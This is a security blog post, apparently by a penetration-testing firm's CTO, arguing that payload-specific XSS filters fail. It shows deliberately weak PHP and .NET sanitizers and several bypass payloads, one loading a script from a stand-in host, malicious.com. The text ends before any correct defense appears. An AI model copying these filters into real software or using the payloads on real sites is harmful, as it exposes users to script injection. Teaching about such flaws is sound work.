As the CTO of Valency Networks, I’ve seen many software developers struggle with cross-site scripting (XSS) vulnerabilities. Unfortunately, a common mistake is to focus on specific payloads and create filters for those. This method is ineffective and risky, leaving loopholes for attackers to exploit. Through our extensive VAPT (Vulnerability Assessment and Penetration Testing) work, we’ve seen this issue repeatedly. I felt like highlighting on the incorrect and correct approach.
The Wrong Approach: Filtering Specific Payloads
Here’s a common scenario: a developer finds their application is vulnerable to XSS. They ask for the specific payload used in the test and then filter that exact payload.
Imagine a PHP application where the developer tries to prevent XSS by removing specific harmful strings. Their code might look something like this:
// PHP Example of a misguided approach
function sanitizeInput($input) {
$input = str_replace(“<script>”, “”, $input);
$input = str_replace(“</script>”, “”, $input);
return $input;
}
Or a similar attempt in .NET:
// .NET Example of a misguided approach
public string SanitizeInput(string input) {
input = input.Replace(“<script>”, “”);
input = input.Replace(“</script>”, “”);
return input;
}
This might block a payload like <script>alert(‘XSS’)</script>, but other variations can bypass these filters:
// Example payloads that bypass the simplistic filter
$payload1 = “<script src=’http://malicious.com/xss.js’></script>”;
$payload2 = “<img src=’x’ onerror=’alert(1)’>”;
$payload3 = “<svg><script>alert(‘XSS’)</script></svg>”;
Attackers are often smarter and can use sophisticated techniques to bypass simplistic filters. For example:
// Sophisticated payloads that bypass simple filters
$payload4 = “<scr<script>ipt>alert(‘XSS’)</scr<script>ipt>”;
$payload5 = “<<script>script>alert(‘XSS’)<</script>/script>”;
The Inefficient Band-Aid: Piling on Payload Filters
In an attempt to cover all bases, developers often add more filters to their code. This not only clutters the code but also slows down the application. Each new filter adds processing time and still fails to cover all attack vectors.
Here’s how an inefficient approach might look in PHP:
// Inefficient PHP approach
function sanitizeInput($input) {
$input = str_replace(“<script>”, “”, $input);
$input = str_replace(“</script>”, “”, $input);
$input = str_replace(“onerror”, “”, $input);
$input = str_replace(“<img”, “”, $input);
// and the list goes on…
return $input;
}
And in .NET:
// Inefficient .NET approach
public string SanitizeInput(string input) {
input = input.Replace(“<script>”, “”);
input = input.Replace(“</script>”, “”);
input = input.Replace(“onerror”, “”);
input = input.Replace(“<img>”, “”);
// and the list goes on…
return input;
}
Even with these numerous filters, attackers can still bypass them using new and creative payloads:
// Additional sophisticated payloads
$payload6 = “<img src=’x’ onerror=’eval(String.fromCharCode(97,108,101,114,116,40,49,41))’>”;
$payload7 = “<iframe srcdoc='<script>alert(“XSS””)</script>’></iframe>””;